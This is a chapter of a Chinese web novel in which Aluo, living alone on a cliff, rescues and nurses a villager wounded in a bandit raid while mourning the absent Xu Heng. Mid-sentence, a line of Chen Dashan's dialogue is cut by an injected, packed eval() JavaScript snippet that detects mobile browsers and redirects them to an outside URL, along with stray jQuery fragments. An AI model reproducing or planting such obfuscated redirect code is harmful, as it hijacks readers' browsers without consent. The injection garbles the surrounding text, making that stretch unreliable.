阿萝在鹰嘴崖度过了第二个春节。


    崖边的那株桃花开了的那天，阿萝突然意识到自己好像很久没有说过话了，她已经有半年的时间没下山，没跟人说过话了。


    嗓子好像被什么东西糊住了一样，可是认真去感受，却又空荡荡，什么也没有。


    她清了清嗓子，想随意说些什么，脑子却一片空白，一个字也蹦不出来。


    她也懒得挣扎，往角落的筐里丢了一根树枝，背着草药和皮货下山了。


    竹筐已经满了，但是她依然在丢。


    她不知道自己为什么还要继续，但是不继续，她就觉得好像忘了什么，丢了什么，心里空落落的，她必须继续。


    徐珩帮她改良过陷阱，这一年抓了不少猛兽。


    从鹰嘴崖下去，要一个多时辰才能遇到村庄，村庄人口不多，没办法交换物资，所以她必须再走一个多时辰，前往老鸦集，那里有驿站，人也多，集市热闹。


    可是她刚走到村庄外，就看到河水里泡着四五个死人，流动的水里飘着红纱一样的淡淡的红色，遥遥在望的村落冒着不正常的烟。


    起火了。


    有人强闯村庄了。


    那些人还在附近！


    阿萝马上作出判断，转头就往山里走。


    才走了十几步，微弱的呼救声和着风声传来。


    阿萝顿了一下，眼睛四处一扫，看到一个人趴在山路下方，压倒一片草。


    她像是被什么击中了一样，想也不想地就跳了下去。


    她快手快脚，将人翻过来，并不是他。看起来二十多岁，比他大些，也没他好看。


    幸好不是你。


    ……为什么不是你？


    阿萝按下怦怦乱跳的心脏，忍不住苦笑，伸手摸了摸他的侧颈，情况比当初的徐珩好很多。


    她能救活。


    她抬头警惕地扫视四周，村庄方向的烟更浓了，隐约还能听见远处模糊的叫喊声，那些声音并未朝这个方向移动，但无论如何，她必须尽快离开。


    她将人架在肩膀上，带了回去。


    拖着一个人，她没去鹰嘴崖，而是去了老宅。


    一年多没有人住，本就凌乱的老宅荒芜得不像样子。屋顶漏了，夯土墙塌了一角，曾经干净的院子长满了杂草。


    阿萝动作麻利地将那人拖进屋内，远离门口的视线。


    她蹲下身，再次检查伤口。他受的是刀伤，在肩胛下方，伤口不深，但血流了不少。伤者是个年轻男子，皮肤黝黑，手掌粗大，是常年劳作的模样。他身上穿着普通的粗布衣裳，已经破损不堪，沾满泥土和血污。


    往事一幕幕，浮现在脑海中，完全不受控制。


    阿萝深吸一口气，压下心中翻涌的复杂情绪。


    她将伤者安置在相对干燥的角落，然后开始清理环境，动作熟练而迅速。


    她先清理出一块干净地面，铺上从院中拔来的干草。再撕下自己衣襟内侧较为干净的布条，用雨水浸湿，为伤者擦洗伤口周围。


    药粉撒上去时，男子无意识地抽搐了一下，但没有醒来。


    阿萝重新包扎好伤口，又检查了他的脉搏和呼吸。还算平稳，只是虚弱。


    她这才有时间仔细打量这个人，约莫二十四五岁，比徐珩年长些，面容普通，但眉宇间有种朴实的坚毅，指甲缝里有洗不净的泥土痕迹，应该是个农人，或是个猎户。


    窗外天色渐暗。


    阿萝起身掩好破旧的门扉，又从院中找来几块木板勉强挡住墙角的缺口。做完这些，她才在离伤者不远处坐下，从竹筐里取出干粮和水囊。


    咬下一口干硬的饼子时，她忽然意识到自己刚才说话了。


    “争气点，不然我不救。”


    那句话的余音仿佛还在空气中飘荡，陌生又熟悉。她的声音嘶哑干涩，像是久未开启的门轴，已经风化腐朽。


    鹰嘴崖的日日夜夜，只有风声、雨声、鸟兽声。她对着草药说话，对着陷阱说话，甚至对着那株桃花说话——但那些都只是无声的唇语，从未真正发出声响。


    为什么此刻却愿意为一个陌生人开口？


    阿萝垂下眼，慢慢咀嚼着饼子，或许是因为在这荒废的老宅里，在这熟悉又陌生的环境中，又面对一个同样受伤的人，某些被刻意深埋的东西被悄然唤醒了。


    夜深了。


    伤者开始不安地扭动，额头上渗出冷汗，嘴唇干裂起皮。阿萝用布条蘸了水，轻轻润湿他的嘴唇。


    “水……”他含糊地呢喃。


    他伤情没有那么徐珩严重，喝点水也没什么坏处，阿萝又喂了他一点点水，这一次，他缓缓睁开了眼睛。


    那双眼睛里最初是一片混沌的茫然，随即被惊恐占据。他猛地想要坐起，却牵动了伤口，疼得倒抽一口冷气。


    “别动。”阿萝按住他。


    她的声音不大，但在寂静的夜里格外清晰。男子愣住了，目光从她脸上移到肩上的伤口，再环顾四周破败的环境。


    “你是……”他艰难地开口，声音虚弱，“是你救了我？”


    阿萝点点头。


    男子哼了几声，才缓过气来：“多谢姑娘……多谢……那些匪徒，他们……”


    “匪徒？”阿萝蹙眉。


    “是，一伙流窜的土匪，不知道从哪里来的，有二十多人……”男子的声音颤抖起来，想起了令人惊惧的画面，“他们突然冲进村子，见人就杀，抢东西，放火……我、我是趁乱逃出来的……”逃跑时，背后挨了一刀。


    他的眼眶红了，攥紧了拳头，“我爹娘……我妹妹他们……”


    话没说完，但意思已经明了。


    阿萝沉默着，没有安慰，也不追问。在这乱世，这样的故事并不罕见。她只是重新检查了他的伤口，确认没有继续出血。


    “你叫什么？”她突然问，问完，她才发现这个根本不重要。


    但是那人却很愿意回答，“陈……陈大山，是山下陈家村的人，姑娘，你呢？怎么会在这里？”


    她离开村庄那么多年，村子里的人早就不记得还有那么一户人家了。


    阿萝没有回答，她起身走到窗边，透过木板的缝隙向外望去。夜色深沉，山林寂静，村庄方向的火光已经看不到了，只余一片黑暗。


    “天亮前，不能生火。”她背对着他说，“你的伤需要静养几日，这里暂时安全，你好好休息。”


    陈大山还想再问什么，但阿萝已经走到另一边，靠着墙壁闭目养神，她的姿态明确表示对话到此为止。


    后半夜，陈大山因伤口疼痛而辗转反侧，时而清醒时而昏沉。阿萝没有睡，偶尔起身为他换湿布降温，喂水。每次她靠近时，陈大山都能闻到她身上淡淡的草药味，混合着浸润山林的气息。


    后半夜，陈大山终于沉沉睡去。


    阿萝也跟着浅浅睡了片刻，再醒来，窗户已经漏进微薄的天光。她悄无声息地起身，推开吱呀作响的门，走到院中。


    晨雾弥漫，荒草萋萋。


    恍惚间，她好像看到了坐在药圃中间认真打理的人，心里像是被什么东西狠狠一扯，嘴角不由得一瘪。


    那个时候，她依然如往常一样早出晚归，可是知道家里有人等着自己，心里总归是不一样的。


    回家的路上，脚步都那么轻快。


    可是为什么……他不在了……


    她想着想着，眼前一片模糊。


    “姑


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17308790|197952||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    娘……”


    阿萝猛地回神，回头看去，陈大山不知何时醒了，正扶着门框上看她，微微佝偻着腰，他的脸色还是不太好，但眼神清明了许多。


    她立刻压制住眼里的湿意，沉默着没说话。


    他的伤看着不轻，但实际上不及徐珩十分之一，徐珩都能活过来，他自然也不在话下。


    “这是你家？”


    “嗯。”


    “那怎么……”陈大山看着破败荒芜的景象，一时间不知道怎么问。


    阿萝也没解释。


    “你家里人呢？”陈大山又追问。


    阿萝当没听见，转身进屋：“你该换药了。”


    明白她不愿意说，陈大山也不再追问，乖乖换药。


    接下来的两天，陈大山在老宅养伤，阿萝白天出去采药、设陷阱，傍晚带回食物和水。她话很少，几乎不主动开口，但照顾伤者却细致周到。


    陈大山是个话多的人，或许是为了驱散心中的恐惧和悲伤，他断断续续讲了很多。关于他的村子，他的生活，他的家人。阿萝大多时候只是静静听着，偶尔点头或摇头。


    陈大山以为她对他的事情不感兴趣，试着让她说说自己的事情，比如她为什么住在山里，但是阿萝却只是沉默，对自己的事情绝口不提。


    两次之后，陈大山也就放弃了。


    没多久，陈大山已经能行动自如了，伤口也开始结痂。


    阿萝将一些草药和干粮放在他跟前，跟他说：“我已经不住在这儿了，以后也不会来了，你多保重。”


    陈大山愣了片刻，才讷讷开口，“我爷要下山去了，得回去看看……看看还有没有人活着。”


    阿萝随意点点头，让他小心些，说：“山下可能还有土匪。”


    “我知道，”陈大山苦笑，“但我必须去，姑娘，你的救命之恩，我陈大山记下了。如果……如果我还活着，一定回来报答你。”


    又是一个要离开却承诺会回来的人。


    阿萝摇摇头：“不必。”那个人都没回来，其他人来不来，都不重要了。


    送走陈大山后，老宅又恢复了寂静。


    阿萝却没有立刻返回鹰嘴崖，她在老宅多待了一天，慢慢清理院子，修补屋顶，仿佛在完成某种仪式。


    之后，她带着所有能用的东西，一步一步走上鹰嘴崖。


    回到崖上洞穴时，夕阳正将天边染成一片橘红。


    她整理完东西，走到崖边，那株桃花开得正盛，粉白的花瓣在晚风中轻轻摇曳。


    她吐出一口仿佛在胸中堆叠多日的气息，长长喟叹，“花又开了，徐珩。”


    她仰头望着树梢和天空，眼睛沾上薄薄的湿意，也不知道在问谁，“你为什么还不回来？”


    晚风拂过，桃花瓣簌簌落下，坠下崖去。


    阿萝站在崖边，看着暮色四合，灰蓝色的天空笼盖着连绵的群山，最远处的山巅，还保留着一抹亮色，似乎是天没黑。她忽然想，远山的尽头，是什么样子的呢？会天黑吗？


    也不知道是不是这几天见了生人，她肚子里装满了话，想要跟那个人说。


    她想告诉她，今天她救了一个人，那人不是他，但她还是救了。


    想告诉他，老宅的药圃荒了，但是她又在别的地方开了一块。


    想告诉他，她现在布的陷阱比之前好了很多，月前还抓了一只很大的野猪。


    可是山洞里空荡荡的，没有人听。


    她的话就像丢进了无底洞，没有半丝回响。


    她回到洞内，捅开火塘，架上一锅水。火光亮起，照亮了整个山洞，也照亮正蹲在角落里，孤零零地数树枝的人。


    窗外，月明星稀，山风过耳。